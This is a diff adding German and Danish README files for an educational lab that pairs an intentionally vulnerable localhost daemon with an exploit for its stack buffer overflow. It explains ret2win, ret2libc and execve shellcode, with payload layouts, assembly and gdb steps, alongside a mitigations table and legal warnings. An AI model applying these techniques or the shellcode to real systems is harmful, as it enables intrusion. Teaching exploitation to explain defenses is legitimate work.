| `-t sled` | ein Ret-Sled, bewusst als **fehlschlagendes** Beispiel behalten. Ohne ein Leak würdest du ASLR brute-forcen, indem du den Puffer mit der Adresse eines `ret` füllst. Hier kann es nicht funktionieren: `food` akzeptiert 512 Bytes, der Sled hat also ~53 Slots gegen ~28 Bit Entropie. Implementiert, damit du zusehen kannst, wie es scheitert, und bestätigst, dass der Mechanismus wirklich „die CPU folgt einer Kette von rets" ist |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Die Tabelle der Gegenmaßnahmen
|
||||||
|
|
||||||
|
Das ist der Teil, den man sich merken sollte. Jede Zeile ist eine echte
|
||||||
|
Verteidigung, und die rechte Spalte zeigt, was sie tatsächlich mit der
|
||||||
|
Ereigniskette macht.
|
||||||
|
|
||||||
|
| Gegenmaßnahme | So aktivierst du sie | Was sie stoppt | Was sie *nicht* stoppt |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **Read begrenzen** | `n = read(fd, buf, sizeof buf - 1);` | **Alles.** Der Bug existiert nicht, also ist nichts nachgelagert relevant | Nichts — das ist der einzige vollständige Fix |
|
||||||
|
| **Stack-Canary** | `-fstack-protector-strong` (gcc-Standard) | Das `ret`: Der Canary wird beim Funktionsende geprüft, der Einschlag wird also erkannt und der Prozess bricht ab, bevor `RIP` gepoppt wird | Ein Bug in einer Funktion *ohne* Array (nichts zu schützen); ein Overflow, der unter dem Canary bleibt; alles, was nicht normal zurückkehrt |
|
||||||
|
| **NX / W^X** | `-z noexecstack` (der Standard) | Shellcode. Die eigenen Befehle des Payloads können nicht geholt werden | ret2win und ret2libc vollständig. Sie sind der *Grund*, warum ROP existiert |
|
||||||
|
| **PIE + ASLR** | `-fPIE` + ASLR=2 (beides Standard) | ret2wins fest verdrahtete Adressen. Alles bewegt sich bei jedem Lauf | Alles, wo der Angreifer ein Leak hat. ASLR erhöht die Kosten eines Exploits; es ist kein Fix. Beachte, dass Stack, Heap und mmap randomisiert sind, der *Inhalt* des Haupt-Binärprogramms jedoch nicht — das ist es, was ROP-Ketten verwenden |
|
||||||
|
| **Nicht leaken** | kein `printf("%p")` an Clients; vor dem Drucken initialisieren | Der Informations-Leak, der ASLR von „teuer" zu „gratis" macht | — |
|
||||||
|
| **Kein `printf(user_data)`** | `printf("%s", buf)` statt `printf(buf)` | Format-String-Bugs: `%x`-Stack-Reads, `%n`-beliebige Schreibzugriffe — ein *zweiter* Weg zu RCE | — |
|
||||||
|
| **Keine unvertrauenswürdigen Pfade** | validieren und `openat()` unter einem festen Verzeichnis | Pfad-Traversal (CWE-22) | — |
|
||||||
|
| **CET / Shadow Stack** | `-fcf-protection=full`, Kernel- und CPU-Unterstützung | Das `ret` selbst: Der Shadow Stack merkt sich die *echte* Rücksprungadresse und fault bei einem Mismatch. Fängt ROP-Ketten ab, die Hardware-`ret` verwenden | Angriffe, die nie `ret` ausführen (call-oriented, oder das Ziel eines Funktionspointers mit einer Gadget-Kette überschreiben, die keine Rückkehr braucht) |
|
||||||
|
| **Sichere Sprachen** | Rust, Go, C# für neuen Code | Die ganze Klasse. Bounds-Checks werden zur Laufzeit geprüft, nicht beim Review erhofft | — |
|
||||||
|
|
||||||
|
### Selbst ausprobieren
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make run # angreifbarer Daemon
|
||||||
|
make test # alle drei Techniken funktionieren
|
||||||
|
|
||||||
|
make test-hardened # gleicher Quellcode, Gegenmaßnahmen an
|
||||||
|
```
|
||||||
|
|
||||||
|
`test-hardened` baut `food_hardened` mit `-fstack-protector-strong -fPIE -pie
|
||||||
|
-z noexecstack`, tauscht es ein, führt alle drei erneut aus und legt danach
|
||||||
|
das angreifbare wieder zurück. Du wirst sehen:
|
||||||
|
|
||||||
|
```
|
||||||
|
### stack segment: 'rw-p' (NOT executable) is what you want to see
|
||||||
|
--- ret2win was stopped by the mitigations (as expected)
|
||||||
|
--- ret2libc was stopped by the mitigations (as expected)
|
||||||
|
--- shellcode was stopped by the mitigations (as expected)
|
||||||
|
```
|
||||||
|
|
||||||
|
Und im Log des gehärteten Daemons das Auslösen des Canarys:
|
||||||
|
|
||||||
|
```
|
||||||
|
*** stack smashing detected ***: terminated
|
||||||
|
```
|
||||||
|
|
||||||
|
Lies das genau, denn es ist die wichtigste Zeile des ganzen Labors: **der
|
||||||
|
Canary hat ret2win erwischt, nicht PIE.** Alle drei Techniken sterben am
|
||||||
|
Canary, weil alle drei durch dasselbe `read()` gehen und denselben Frame
|
||||||
|
zerstören. NX stoppt nur zusätzlich den *Code* des Shellcodes; PIE bricht nur
|
||||||
|
zusätzlich die hart verdrahtete Adresse. Schalte sie einzeln an, und du wirst
|
||||||
|
feststellen, dass dich die meisten einzelnen Gegenmaßnahmen irgendetwas
|
||||||
|
ausgesetzt lassen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Dateien
|
||||||
|
|
||||||
|
| Datei | Zweck |
|
||||||
|
|---|---|
|
||||||
|
| `food.c` | der angreifbare Daemon. 6 nummerierte Bugs, jeder mit seinem Fix im Kommentar |
|
||||||
|
| `fooc.c` | der Exploit. objdump-basierte Offset-Erkennung, `/proc`-basierte libc-Erkennung, 4 Payload-Builder |
|
||||||
|
| `shellcode.S` | die 23 Shellcode-Bytes als Assembly, damit man sie lesen und verifizieren kann. `fooc` trägt sie inline und braucht das zur Laufzeit nicht |
|
||||||
|
| `Makefile` | baut, testet und liefert den gehärteten Vergleich |
|
||||||
|
| `tests/pty_test.c` | treibt `fooc` über ein Pseudo-Terminal und prüft auf echte Shell-Ausgabe |
|
||||||
|
| `tests/sock_test.c` | unabhängiger Verifizierer über einen rohen Socket, damit das Ergebnis nicht von `fooc` abhängt |
|
||||||
|
| `food.log` | das Log des Daemons. Dein Beweis, was passiert ist |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Zwei Bugs in diesem Labor, die es wert sind, verstanden zu werden
|
||||||
|
|
||||||
|
Das sind nicht die Bugs des Zielprogramms. Es sind Bugs im Exploit und in
|
||||||
|
seiner Test-Harness, und beide haben überzeugende Lügen produziert. Sie sind im
|
||||||
|
Quellcode an ihrem Ort dokumentiert; hier stehen sie, weil die Ausfallmuster
|
||||||
|
lehrreich sind.
|
||||||
|
|
||||||
|
### Stack-Ausrichtung: der Absturz, der kein NULL-Deref ist
|
||||||
|
|
||||||
|
**Symptom.** Die Übernahme landet korrekt — `gdb` zeigt dich in `win()` — und
|
||||||
|
dann stirbt das allererste, was `win()` tut, ein `dprintf()`. Der
|
||||||
|
`SIGSEGV`-Handler meldet `RIP` tief im glibc-Formatter und eine Fehleradresse
|
||||||
|
von `(nil)`, was exakt wie ein korrupter Pointer aussieht.
|
||||||
|
|
||||||
|
**Ursache.** Die System-V-AMD64-ABI verlangt 16-Byte-Stack-Ausrichtung. Ein
|
||||||
|
normales `ret` stellt `%rsp` exakt auf das wieder her, was das zugehörige
|
||||||
|
`call` gespeichert hat, sodass die Invariante gratis erhalten bleibt. Unser
|
||||||
|
nacktes `ret` tut das nicht: Danach gilt `%rsp = buf + rip_off`. Hier ist `buf`
|
||||||
|
16-Byte-ausgerichtet und `rip_off` ist 88, der Callee bekommt also einen Stack,
|
||||||
|
der 8 mod 16 ist. glibc ist mit SSE2 kompiliert, und `movaps` **fault** bei
|
||||||
|
einem nicht ausgerichteten Operanden. Auf x86 löst das `#GP` aus, nicht `#PF`,
|
||||||
|
der Kernel hat also keine Fehleradresse und meldet `si_addr = 0`. Dieses NULL
|
||||||
|
ist der Hinweis: ein Ausrichtungsfehler, verkleidet als NULL-Deref.
|
||||||
|
|
||||||
|
**Fix.** Ein `ret`-Gadget *bei Offset `rip_off`*, das das echte Ziel um 8 Bytes
|
||||||
|
nach oben verschiebt, denn jedes `ret` addiert exakt 8 auf `%rsp`. Die
|
||||||
|
Reihenfolge ist entscheidend: Eine frühere Version hängte das `ret` *hinter*
|
||||||
|
das Ziel an und erzeugte `[ padding | target | ret ]`, wo das abschließende
|
||||||
|
`ret` nie erreicht wird und der Fix still nichts tut. Ein versprengtes `ret`,
|
||||||
|
das wie ein Fehler aussieht, ist fast immer Absicht.
|
||||||
|
|
||||||
|
### Ein Socket, zwei Leser: das verschwundene Byte
|
||||||
|
|
||||||
|
**Symptom.** Shellcode wurde als funktionierend gemeldet. Dann wurde die
|
||||||
|
pty-Harness strenger gemacht (Abschalten von `ECHO`, sodass das Terminal seine
|
||||||
|
eigene Befehlszeile nicht mehr zurückspiegelte) und die Technik begann zu
|
||||||
|
scheitern. Im Kern ließ jede Technik exakt ein Byte vom Anfang jedes
|
||||||
|
Ausgabeblocks fallen: `uid=1000(hanez)` wurde zu `id=1000(hanez)` gedruckt,
|
||||||
|
`PWNED-OK` zu `WNED-OK`, `Linux 7.2.7` zu `inux 7.2.7`.
|
||||||
|
|
||||||
|
**Ursache.** `fooc` pflegte den Socket per `dup2()` auf sein eigenes
|
||||||
|
stdin/stdout zu legen und eine *lokale* `/bin/sh` per `execv()` zu starten,
|
||||||
|
während ein geforktes Relay-Kind denselben Socket ebenfalls las, um die Ausgabe
|
||||||
|
zum Terminal zu befördern. Dem Kernel ist egal, dass die beiden kooperieren. Ein
|
||||||
|
Stream-Socket hat **einen** Read-Cursor, und jeder Leser bewegt ihn, sodass
|
||||||
|
Bytes unvorhersehbar zwischen ihnen aufgeteilt werden. Die lokale Shell las als
|
||||||
|
interaktive Login-Shell exakt ein Byte und verwarf es — bei jedem einzelnen
|
||||||
|
Mal. `strace -f` zeigte es sofort:
|
||||||
|
|
||||||
|
```
|
||||||
|
read(0, "u", 1) <- die lokale Shell, frisst ein Byte
|
||||||
|
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- das Relay, 1 Byte zu wenig
|
||||||
|
```
|
||||||
|
|
||||||
|
**Fix.** Auf dieser Seite gibt es überhaupt keine Shell. Es gibt genau eine
|
||||||
|
Shell im gesamten Bild, und sie ist auf dem Opfer, im übernommenen Prozess, mit
|
||||||
|
der TCP-Verbindung als stdin/stdout. Diese Seite bewegt nur Bytes. Wenn du je
|
||||||
|
zwei Konsumenten eines Streams brauchst, braucht dieser Stream einen einzigen
|
||||||
|
Leser, der ihn bewusst demultiplexiert.
|
||||||
|
|
||||||
|
**Die Meta-Lektion.** Das erste „funktionierende" Ergebnis war ein
|
||||||
|
Fehlpositiv, das dadurch entstand, dass die pty die eigene Befehlszeile der
|
||||||
|
Harness zurückwarf, und der Fix für dieses Fehlpositiv ist es, der den echten
|
||||||
|
Bug bloßlegte. Tests, die nicht scheitern können, sind schlimmer als keine
|
||||||
|
Tests, weil sie „ich weiß es nicht" in „es funktioniert" verwandeln. Eine
|
||||||
|
Test-Harness verdient denselben Argwohn wie der Code, den sie testet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Daran herumexperimentieren
|
||||||
|
|
||||||
|
Dinge, die einen Versuch wert sind, ungefähr in der Reihenfolge, in der man
|
||||||
|
mehr lernt:
|
||||||
|
|
||||||
|
1. **Ändere `FOOD_BUFSZ` auf 128.** Führe `fooc` erneut aus. Es sollte ohne
|
||||||
|
jede Änderung weiter funktionieren, weil es das Offset aus der Disassembly
|
||||||
|
liest. Brich es dann von Hand — härt 88 ein — und sieh zu, wie es abstürzt.
|
||||||
|
Füge dann zwischen `buf` und den gespeicherten Registern ein zweites Array
|
||||||
|
ein und beobachte, wie die automatische Erkennung es verkraftet.
|
||||||
|
|
||||||
|
2. **Füge `-Wformat-security` hinzu und schau, was der Format-String-Pfad
|
||||||
|
tut.** Sende `%p %p %p %n` und beobachte, wie `food` den Stack leakt.
|
||||||
|
|
||||||
|
3. **Nutze gdb.** `make debug`, dann:
|
||||||
|
```gdb
|
||||||
|
(gdb) break food.c:393 # das read(), das überläuft
|
||||||
|
(gdb) run -p 2342
|
||||||
|
(gdb) info registers rsp rbp
|
||||||
|
(gdb) x/24gx $rsp # beachte, wo die Rücksprungadresse liegt
|
||||||
|
(gdb) c # in einem anderen Terminal: ./fooc -t ret2win
|
||||||
|
```
|
||||||
|
Der `SIGSEGV`-Handler loggt `REG_RIP` und `REG_RSP`, sodass dir `food.log`
|
||||||
|
sagt, ob die Übernahme gelandet ist, selbst wenn das Kind stirbt, bevor du
|
||||||
|
dich anhängen kannst.
|
||||||
|
|
||||||
|
4. **Lösche den Ausrichtungs-Fix** in `fooc.c` und beobachte den `#GP`-Fault
|
||||||
|
mit der `si_addr = 0`-Signatur. Lies dann
|
||||||
|
`/proc/sys/kernel/randomize_va_space` und denke darüber nach, was ASLR
|
||||||
|
randomisiert und was nicht.
|
||||||
|
|
||||||
|
5. **Brich die libc-Symbolauflösung** und beobachte, wie `fooc` sich anpasst.
|
||||||
|
Der ganze Sinn des `/proc/self/maps`-Ansatzes ist, dass kein Offset hart
|
||||||
|
verdrahtet ist.
|
||||||
|
|
||||||
|
6. **Schreibe eine vierte Technik.** Eine `ret2csu`-artige Kette, wenn du
|
||||||
|
`__libc_csu_init` findest, oder eine SROP-Kette (`sigreturn`-Frames lassen
|
||||||
|
dich alle Register gleichzeitig kontrollieren). Beides ist reines ROP und
|
||||||
|
braucht keinen ausführbaren Speicher.
|
||||||
|
|
||||||
|
7. **Fixe `food.c` richtig**, Bug für Bug, und führe den Exploit nach jedem
|
||||||
|
Fix erneut aus. Die Reihenfolge in der Tabelle am Anfang von `food.c` ist
|
||||||
|
ungefähr die richtige Reihenfolge zum Nachdenken: begrenze zuerst das read,
|
||||||
|
denn nichts anderes zählt, bis der Bug weg ist.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Aufräumen
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make stop # stoppt food
|
||||||
|
make clean # entfernt Build-Produkte; lässt food.log in Ruhe
|
||||||
|
pkill -x sh # nur, wenn du streunende Shells aus einem schiefgelaufenen Test hast
|
||||||
|
```
|
||||||
|
|
||||||
|
Beachte: `pkill -x food` matcht den Prozess**namen** exakt. Verwende nicht
|
||||||
|
`pkill -f ./food` — dieses Muster matcht auch die Shell, in die du es getippt
|
||||||
|
hast, und tötet deine eigene Session. Das ist keine Hypothese; es ist beim Bau
|
||||||
|
dieses Labors passiert.
|
||||||
414
README.DK.md
Normal file
414
README.DK.md
Normal file
|
|
@ -0,0 +1,414 @@
|
||||||
|
# food / fooc — et stack-bufferoverløb, fra begge sider
|
||||||
|
|
||||||
|
Et C99-sikkerhedslaboratorium i to halvdele:
|
||||||
|
|
||||||
|
- **`food.c`** — en bevidst sårbar TCP-daemon. Den har et ægte,
|
||||||
|
lærebogsagtigt stack-bufferoverløb (CWE-120) og et par fejl oveni.
|
||||||
|
- **`fooc.c`** — et exploit til den. Det beregner overflow-offsettet ved at
|
||||||
|
disassemblere target-programmet ved kørsel, læser adresse-leaks fra daemonen
|
||||||
|
og får en shell på "offeret" ved at overskrive en gemt returadresse.
|
||||||
|
|
||||||
|
Pointen er ikke shellen. Pointen er, at du kan følge med hele vejen, hvordan
|
||||||
|
en hukommelsessikkerhedsfejl bliver til vilkårlig kodeudførelse — og derefter
|
||||||
|
se præcist, hvilke modforanstaltninger der stopper hvert trin i den kæde. Hver
|
||||||
|
linje i begge programmer er kommenteret, fordi mekanismen er lektionen.
|
||||||
|
|
||||||
|
```
|
||||||
|
din terminal
|
||||||
|
|
|
||||||
|
./fooc (exploit)
|
||||||
|
|
|
||||||
|
TCP 127.0.0.1:2342
|
||||||
|
|
|
||||||
|
./food (sårbar daemon)
|
||||||
|
|
|
||||||
|
fork() -> vulnerable_handler() -> overflow -> ret -> din kode
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ Læs dette først
|
||||||
|
|
||||||
|
**`food` er en bevidst ødelagt netværkstjeneste. Den binder kun til
|
||||||
|
`127.0.0.1`, og den standard er bevidst — lad den være der.**
|
||||||
|
|
||||||
|
- Kør den **ikke** på en maskine, du holder af, eller på noget med data på.
|
||||||
|
- Bind den **ikke** til `0.0.0.0` eller en rigtig netværksgrænseflade. Den er
|
||||||
|
bevidst eksternt udnyttelig.
|
||||||
|
- At rette `fooc` mod en host, du ikke ejer eller ikke har skriftlig tilladelse
|
||||||
|
til at teste, er en computerindbrudsforseelse i de fleste jurisdiktioner —
|
||||||
|
også efter UK Computer Misuse Act og US Computer Fraud and Abuse Act.
|
||||||
|
- Den binder til en uprivilegeret port (>1024), så du behøver ikke root. Forbedr
|
||||||
|
den ikke ved at tilføje capabilities eller køre den som systemtjeneste.
|
||||||
|
- Hver forbindelse håndteres i et `fork()`et barn, og `food` reaper det, så
|
||||||
|
nedbrud hober sig ikke op. Hvis du bagefter finder dusinvis af strejfende
|
||||||
|
`sh`-processer, er `pkill -x sh` oprydningen.
|
||||||
|
|
||||||
|
I tvivlstilfælde: Dette laboratorium er til en virtuel maskine eller container,
|
||||||
|
på et netværk du kontrollerer, på en maskine uden noget, du ville savne.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Hurtig start
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make # bygger food, fooc og test-harnessene
|
||||||
|
make run # starter food på 127.0.0.1:2342, frakoblet i baggrunden
|
||||||
|
make test # kører alle tre exploit-teknikker
|
||||||
|
make stop # stopper daemonen
|
||||||
|
```
|
||||||
|
|
||||||
|
Derefter i hånden:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./fooc -t leak # se de adresse-leaks, food udleverer
|
||||||
|
./fooc -t demo -v # send junk; se food dø med SIGSEGV
|
||||||
|
./fooc -t ret2win -i # hop til en funktion, der allerede findes -> shell
|
||||||
|
```
|
||||||
|
|
||||||
|
### Krav
|
||||||
|
|
||||||
|
| Værktøj | Hvortil | Bemærkninger |
|
||||||
|
|---|---|---|
|
||||||
|
| `gcc` (eller clang) | bygning | C99. Testet med gcc 16.2 |
|
||||||
|
| `objdump` | `fooc` | binutils. `fooc` kalder det ved kørsel |
|
||||||
|
| `nasm` | `make verify` | kun til at krydstjekke shellcoden; springes over, hvis ikke til stede |
|
||||||
|
| `gdb` | `make debug` | valgfrit |
|
||||||
|
| Linux, x86-64 | begge | payload og gadget-jagt er arkitekturafhængige |
|
||||||
|
|
||||||
|
`fooc` har også brug for `-ldl` til `dlsym()`; Makefile'et klarer det.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Fejlen
|
||||||
|
|
||||||
|
Én linje i `food.c` er hele angrebsfladen:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[FOOD_BUFSZ]; /* 64 bytes */
|
||||||
|
n = read(fd, buf, FOOD_READMAX); /* op til 512 bytes fra netværket */
|
||||||
|
```
|
||||||
|
|
||||||
|
64 bytes destination, 512 bytes accepteret. Angriberen overskriver 448 bytes
|
||||||
|
forbi enden af bufferen, og fordi stacken vokser nedad, betyder "forbi enden"
|
||||||
|
"ind i det ovenstående frame" — og det er præcis der, den gemte
|
||||||
|
framepointer og den **gemte returadresse** ligger.
|
||||||
|
|
||||||
|
I en kompileret x86-64-funktion ved `-O0`:
|
||||||
|
|
||||||
|
```
|
||||||
|
høje adresser
|
||||||
|
+------------------------+ rbp + 16 : callerens lokale
|
||||||
|
| ... |
|
||||||
|
+------------------------+ rbp + 8 : GEMT RETURADRESSE <-- bliver til RIP
|
||||||
|
| saved rbp (8 bytes) |
|
||||||
|
+------------------------+ rbp : vores framepointer
|
||||||
|
| line[128] |
|
||||||
|
| buf[64] | <- rsp: det, read() fylder
|
||||||
|
+------------------------+
|
||||||
|
lave adresser
|
||||||
|
```
|
||||||
|
|
||||||
|
Når funktionen returnerer, popper `leave; ret` de 8 bytes ind i `RIP`, og CPU'en
|
||||||
|
hopper, hvor angriberen har bestemt. Alt andet i dette laboratorium er
|
||||||
|
aritmetik om, hvorhen der skal peges.
|
||||||
|
|
||||||
|
For denne build er tallene: `buf` er 64 bytes, det gemte `rbp` er 8, så
|
||||||
|
returadressen ligger på offset **88** fra starten af `buf`. `fooc` hardkoder
|
||||||
|
ikke det — det disassemblerer `food` og finder `lea -0x50(%rbp)` foran
|
||||||
|
`call read@plt`, så det fortsat virker, hvis du ændrer `FOOD_BUFSZ`.
|
||||||
|
|
||||||
|
> gcc fortæller dig allerede om det. At bygge `food` printer:
|
||||||
|
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
|
||||||
|
> destination [-Wstringop-overflow=]`. Undertryk aldrig den advarsel i ægte
|
||||||
|
> kode. Den er gratis sikkerhed.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## De tre teknikker
|
||||||
|
|
||||||
|
`fooc -t <technique>`. De står i den rækkefølge, en ægte angriber ville
|
||||||
|
arbejde sig igennem dem, fordi hver enkelt har brug for det, den forrige lærte
|
||||||
|
dig.
|
||||||
|
|
||||||
|
### 1. `ret2win` — kontrollér instruktionsmarkøren
|
||||||
|
|
||||||
|
```
|
||||||
|
[ 88 bytes junk ][ adressen på food's win() ]
|
||||||
|
^ saved rbp
|
||||||
|
^ bliver til RIP
|
||||||
|
```
|
||||||
|
|
||||||
|
`win()` er en funktion i target-programmet, der exec'er `/bin/sh`. At
|
||||||
|
overskrive returadressen med dens adresse er hele exploitet.
|
||||||
|
|
||||||
|
**Hvad det lærer:** du har vilkårlig kontrol over instruktionsmarkøren. Det
|
||||||
|
kræver heller ikke noget leak, fordi binærfilen er bygget `-no-pie`, så `win()`
|
||||||
|
sidder på en fast adresse for evigt.
|
||||||
|
|
||||||
|
**Den virkelige verdens ækvivalent** er ikke "angreb er nemme", men "skib ikke
|
||||||
|
udokumenterede bagdøre i netværks-binærfiler". Hvis en funktion som `win()`
|
||||||
|
findes i din binærfil, vil et bufferoverløb finde den. Det er bogstaveligt talt
|
||||||
|
Juniper ScreenOS-bagdør-CVE-klassen.
|
||||||
|
|
||||||
|
**Forsvar:** `-fPIE` (eller ASLR) randomiserer load-adressen, så angriberen må
|
||||||
|
kende adressen — hvilket som regel betyder, at de først har brug for et leak.
|
||||||
|
Derfor fejler `ret2win` mod `food_hardened`.
|
||||||
|
|
||||||
|
### 2. `ret2libc` — kald hvad som helst, ved navn
|
||||||
|
|
||||||
|
```
|
||||||
|
[ junk ][ pop rdi; ret ][ adressen på "/bin/sh" ][ adressen på system() ]
|
||||||
|
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
|
||||||
|
sætter rdi strengen at sende funktionen at kalde
|
||||||
|
```
|
||||||
|
|
||||||
|
Ved udførelse: `ret` popper `pop rdi; ret` ind i RIP; det popper
|
||||||
|
`"/bin/sh"`-pointeren ind i `RDI`; dets `ret` popper `system()` ind i RIP, mens
|
||||||
|
`RDI` stadig holder strengen. `system("/bin/sh")` kører.
|
||||||
|
|
||||||
|
Gadgets (`pop rdi; ret`) er ikke i `food` — denne glibc har intet
|
||||||
|
`__libc_csu_init` — så `fooc` finder dem ved at scanne live libc-hukommelse
|
||||||
|
efter byteparret `5f c3`. Det lokaliserer libc via `/proc/self/maps`, finder
|
||||||
|
offsets for `system` og `"/bin/sh"` med `dlsym()` og beregner basen ud fra det
|
||||||
|
leak, `food` offentliggør. Intet er hardkodet, så det overlever en
|
||||||
|
libc-opdatering.
|
||||||
|
|
||||||
|
**Hvad det lærer:** når du først kan kontrollere `RIP`, kan du kæde
|
||||||
|
*eksisterende* instruktioner sammen. Det er return-oriented programming, og det
|
||||||
|
er sådan næsten alle virkelige exploits ser ud, fordi det ikke kræver
|
||||||
|
angriberleveret eksekverbar hukommelse.
|
||||||
|
|
||||||
|
**Forsvar:** ingen af compiler-flagene stopper det alene. Det virker mod en
|
||||||
|
PIE-binærfil, med NX, med canary — så længe angriberen har et leak.
|
||||||
|
Forsvarene er "hav ikke overløbet" og "læk ikke adresser". Se tabellen nedenfor.
|
||||||
|
|
||||||
|
### 3. `shellcode` — kør din egen maskinkode
|
||||||
|
|
||||||
|
23 bytes, placeret i starten af bufferen, med `RIP` pegende på dem:
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor esi, esi ; envp = NULL
|
||||||
|
xor edx, edx ; argv = NULL
|
||||||
|
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" som 8 rå bytes
|
||||||
|
push rdi ; læg strengen på stacken
|
||||||
|
mov rdi, rsp ; rdi = &"/bin/sh"
|
||||||
|
push 0x3b ; 59 = __NR_execve
|
||||||
|
pop rax
|
||||||
|
syscall ; vi er nu en shell
|
||||||
|
```
|
||||||
|
|
||||||
|
Det er den reneste form for fejlen: angriberen leverer *instruktionerne*, ikke
|
||||||
|
bare adressen på instruktioner, der allerede findes. Ingen libc-offsets
|
||||||
|
nødvendige, så det virker i princippet mod et statisk linket, fuldt
|
||||||
|
randomiseret target.
|
||||||
|
|
||||||
|
`make verify` assemblerer `shellcode.S` og diff'er det mod byte-arrayet, der er
|
||||||
|
indlejret i `fooc.c`, så de to ikke kan drive fra hinanden.
|
||||||
|
|
||||||
|
**Forsvar:** **NX** (også kaldet W^X, "no execute"). At markere stacken som
|
||||||
|
ikke-eksekverbar får hardwaren til at nægte at hente instruktioner fra den, og
|
||||||
|
`ret`-et lander på en side, der ikke kan køre. Det er derfor `make food`
|
||||||
|
giver `-z execstack`: en normal Linux-stack er `rw-p`, ikke `rwx`, og teknikken
|
||||||
|
dør med SIGSEGV ved `RIP = payloadens adresse`. Den absolut vigtigste lektion i
|
||||||
|
laboratoriet er, at hver eneste af disse bytes kun virker, fordi compileren fik
|
||||||
|
besked på at lade stacken være eksekverbar. Det flag er tændt til gavn for
|
||||||
|
ingen.
|
||||||
|
|
||||||
|
### Også inkluderet
|
||||||
|
|
||||||
|
| Tilstand | Hvad den gør |
|
||||||
|
|---|---|
|
||||||
|
| `-t leak` | forbinder, printer leaks, sender intet |
|
||||||
|
| `-t demo` | sender `rip_off + 8` bytes `0x41`, så `RIP` bliver `0x4141...` og daemonen dør. Beviser fejlen helt uden adresseviden |
|
||||||
|
| `-t sled` | et ret-sled, bevidst beholdt som et **fejlende** eksempel. Uden et leak ville du brute-force ASLR ved at fylde bufferen med adressen på et `ret`. Det kan ikke virke her: `food` accepterer 512 bytes, så sleden har ~53 slots mod ~28 bit entropi. Implementeret, så du kan se det fejle og bekræfte, at mekanismen virkelig er "CPU'en følger en kæde af rets" |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tabellen over modforanstaltninger
|
||||||
|
|
||||||
|
Det er den del, man skal huske. Hver række er et ægte forsvar, og højre kolonne
|
||||||
|
viser, hvad den rent faktisk gør ved begivenhedskæden.
|
||||||
|
|
||||||
|
| Modforanstaltning | Sådan aktiveres | Hvad den stopper | Hvad den *ikke* stopper |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **Begræns read** | `n = read(fd, buf, sizeof buf - 1);` | **Alt.** Fejlen findes ikke, så intet nedstrøms betyder noget | Intet — det er den eneste fuldstændige fix |
|
||||||
|
| **Stack-canary** | `-fstack-protector-strong` (gccs standard) | `ret`-et: canaryen tjekkes ved funktionens afslutning, så smadringen opdages, og processen abort'er, før `RIP` poppes | En fejl i en funktion *uden* array (intet at beskytte); et overflow, der holder sig under canaryen; alt, der ikke returnerer normalt |
|
||||||
|
| **NX / W^X** | `-z noexecstack` (standarden) | Shellcode. Payloadens egne instruktioner kan ikke hentes | ret2win og ret2libc fuldstændigt. De er *grunden* til, at ROP findes |
|
||||||
|
| **PIE + ASLR** | `-fPIE` + ASLR=2 (begge standard) | ret2wins hardkodede adresser. Alt flytter sig ved hver kørsel | Alt, hvor angriberen har et leak. ASLR hæver prisen på et exploit; det er ikke en fix. Bemærk, at stack, heap og mmap randomiseres, men hoved-binærfilens *indhold* gør ikke — det er det, ROP-kæder bruger |
|
||||||
|
| **Læk ikke** | ingen `printf("%p")` til klienter; initialisér før du printer | Det informationsleak, der gør ASLR til "gratis" i stedet for "dyrt" | — |
|
||||||
|
| **Brug ikke `printf(user_data)`** | `printf("%s", buf)` i stedet for `printf(buf)` | Format-string-fejl: `%x`-stack-reads, `%n`-vilkårlige skrivninger, hvilket er en *anden* vej til RCE | — |
|
||||||
|
| **Brug ikke utroverdige stier** | validér og `openat()` under en fast mappe | Sti-traversal (CWE-22) | — |
|
||||||
|
| **CET / shadow stack** | `-fcf-protection=full`, kernel- og CPU-understøttelse | `ret`-et selv: shadow stacken husker den *rigtige* returadresse og fault'er ved mismatch. Fanger ROP-kæder, der bruger hardware-`ret` | Angreb, der aldrig `ret` (call-oriented, eller at overskrive en funktionspegers mål med en gadget-kæde, der ikke behøver en retur) |
|
||||||
|
| **Sikre sprog** | Rust, Go, C# til ny kode | Hele klassen. Bounds-tjek udføres ved kørsel, ikke håbet på ved review | — |
|
||||||
|
|
||||||
|
### Se det selv
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make run # sårbar daemon
|
||||||
|
make test # alle tre teknikker virker
|
||||||
|
|
||||||
|
make test-hardened # samme kildekode, modforanstaltninger på
|
||||||
|
```
|
||||||
|
|
||||||
|
`test-hardened` bygger `food_hardened` med `-fstack-protector-strong -fPIE -pie
|
||||||
|
-z noexecstack`, bytter den ind, kører alle tre igen og lægger derefter den
|
||||||
|
sårbare tilbage. Du vil se:
|
||||||
|
|
||||||
|
```
|
||||||
|
### stack segment: 'rw-p' (NOT executable) is what you want to see
|
||||||
|
--- ret2win was stopped by the mitigations (as expected)
|
||||||
|
--- ret2libc was stopped by the mitigations (as expected)
|
||||||
|
--- shellcode was stopped by the mitigations (as expected)
|
||||||
|
```
|
||||||
|
|
||||||
|
Og i den hærdede daemons log, canaryen der udløses:
|
||||||
|
|
||||||
|
```
|
||||||
|
*** stack smashing detected ***: terminated
|
||||||
|
```
|
||||||
|
|
||||||
|
